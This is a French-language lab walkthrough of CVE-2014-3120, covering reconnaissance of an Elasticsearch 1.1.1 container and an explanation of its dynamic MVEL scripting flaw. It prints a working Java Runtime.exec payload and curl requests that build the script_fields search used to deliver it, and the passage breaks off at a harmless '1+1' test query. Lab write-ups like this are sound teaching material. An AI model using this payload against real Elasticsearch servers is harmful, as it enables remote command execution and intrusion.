
Guide de laboratoire étape par étape démontrant l'exploitation de CVE-2014-3120 contre Elasticsearch 1.1.1, couvrant l'analyse de vulnérabilité, RCE via le scripting MVEL, et la post-exploitation dans un environnement Docker.
En partant de ce qui est exécuté dans l'environnement. Nous listons tous les conteneurs actifs :
docker ps

Résultat : Le conteneur p1/lab10:latest est en cours d'exécution, exposant 2 ports vers l'extérieur :
| Mappage de ports | Protocole |
|---|---|
0.0.0.0:9200 → 9200/tcp | HTTP (à vérifier) |
0.0.0.0:9300 → 9300/tcp | Inconnu |
Observation initiale : Les ports 9200 et 9300 sont couramment connus comme les ports par défaut d'Elasticsearch. Cependant, nous ne pouvons pas conclure uniquement sur la base des numéros de ports – de nombreux autres services peuvent se lier à n'importe quel port.
⇒ Nous utilisons curl directement sur chaque port pour vérifier quel service est réellement en cours d'exécution.
curl -i http://192.168.3.137:9300/

Analyse de la réponse :
curl: (52) Empty reply from serverÉvaluation : Le serveur a accepté la connexion TCP (pas de refus de connexion), mais n'a pas répondu en utilisant le protocole HTTP. Cela correspond au comportement du protocole Elasticsearch Transport sur le port 9300 – un protocole binaire utilisé pour la communication entre nœuds d'un cluster, pas HTTP.
⇒ État d'esprit : Le port 9300 utilise un protocole binaire → ne peut pas être exploité directement via curl/navigateur. Passer à la vérification du port 9200 – le port de l'API REST HTTP.
curl -i http://192.168.3.137:9200/

Analyse de la réponse :
| Champ | Valeur | Signification |
|---|---|---|
name | "Rage" | Nom du nœud Elasticsearch (nom aléatoire de personnage Marvel – comportement par défaut des anciennes versions d'ES) |
version.number | "1.1.1" | Version extrêmement ancienne – publiée en avril 2014 |
build_timestamp | "2014-04-16T14:27:12Z" | Construit en 2014 |
lucene_version | "4.7" | Lucene 4.7 – ancien moteur d'indexation |
tagline | "You Know, for Search" | Phrase de signature caractéristique d'Elasticsearch |
Évaluation de la surface d'attaque :

⇒ État d'esprit : Elasticsearch 1.1.1 active Dynamic Scripting par défaut – permettant aux clients d'envoyer des scripts (expressions MVEL) dans les requêtes de recherche pour que le serveur les exécute. Sans bac à sable ni validation appropriée, un attaquant peut injecter un script malveillant pour exécuter des commandes système. Étape suivante : vérifier si Dynamic Scripting est effectivement actif sur la cible.
Elasticsearch prend en charge une fonctionnalité de Scripting – permettant aux clients d'envoyer des scripts (expressions mathématiques ou logiques) dans les requêtes de recherche pour que le serveur les exécute lors du traitement des résultats. Dans Elasticsearch 1.x, le moteur par défaut pour cette fonctionnalité est MVEL (MVFLEX Expression Language) .
Dans les versions d'Elasticsearch antérieures à 1.2, Dynamic Scripting est activé par défaut (script.disable_dynamic: false). Cela signifie :
script_fields dans l'API _searchjava.lang.Runtime.getRuntime().exec() pour exécuter des commandes systèmescript_fieldsLorsqu'une requête de recherche avec script_fields est envoyée, Elasticsearch va :
_searchscript_fields → trouver le script à exécuterEn Java, la manière la plus courante d'exécuter une commande système est :
Runtime.getRuntime().exec("commande");
MVEL, en tant que langage d'expression avec accès complet aux classes Java, permet d'invoquer cela directement :
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();
Explication de chaque partie :
| Partie | Explication |
|---|---|
import java.io.* | Importer les classes Java IO |
Runtime.getRuntime() | Récupérer l'instance Java Runtime |
.exec("id") | Exécuter la commande shell id |
.getInputStream() | Récupérer le flux de sortie du processus |
new Scanner(...).useDelimiter("\\A").next() | Lire toute la sortie sous forme de chaîne |
⇒ État d'esprit : Avec Elasticsearch, la sortie de l'RCE est renvoyée directement dans la réponse – pas besoin de rediriger vers un fichier et de le relire. Cela rend l'exploit plus propre et plus rapide à vérifier.
Après avoir identifié la cible comme Elasticsearch 1.1.1, l'étape suivante consiste à vérifier si Dynamic Scripting est effectivement activé.
CVE-2014-3120 exploite le fait qu'Elasticsearch permet aux clients d'envoyer des scripts dans les requêtes _search. Si le script est exécuté par le serveur, un attaquant peut remplacer l'expression inoffensive par une charge utile qui appelle le Java Runtime pour exécuter des commandes système.
D'abord, nous créons un document de test pour garantir que la requête a au moins un résultat correspondant. Si aucun document ne correspond, script_fields ne sera pas évalué.
curl -s -X POST 'http://192.168.3.137:9200/test_index/test_type/1' \
-H 'Content-Type: application/json' \
-d '{"name":"test"}'
Puis on rafraîchit l'index :
curl -s -X POST 'http://192.168.3.137:9200/test_index/_refresh'
Ensuite, nous envoyons une requête _search avec script_fields contenant une expression MVEL inoffensive :
curl -s -X POST 'http://192.168.3.137:9200/test_index/_search?pretty' \
-H 'Content-Type: application/json' \
-d '{
"size": 1,
"query": {
"match_all": {}
},
"script_fields": {
"test": {
"script": "1+1"
}
}
}'
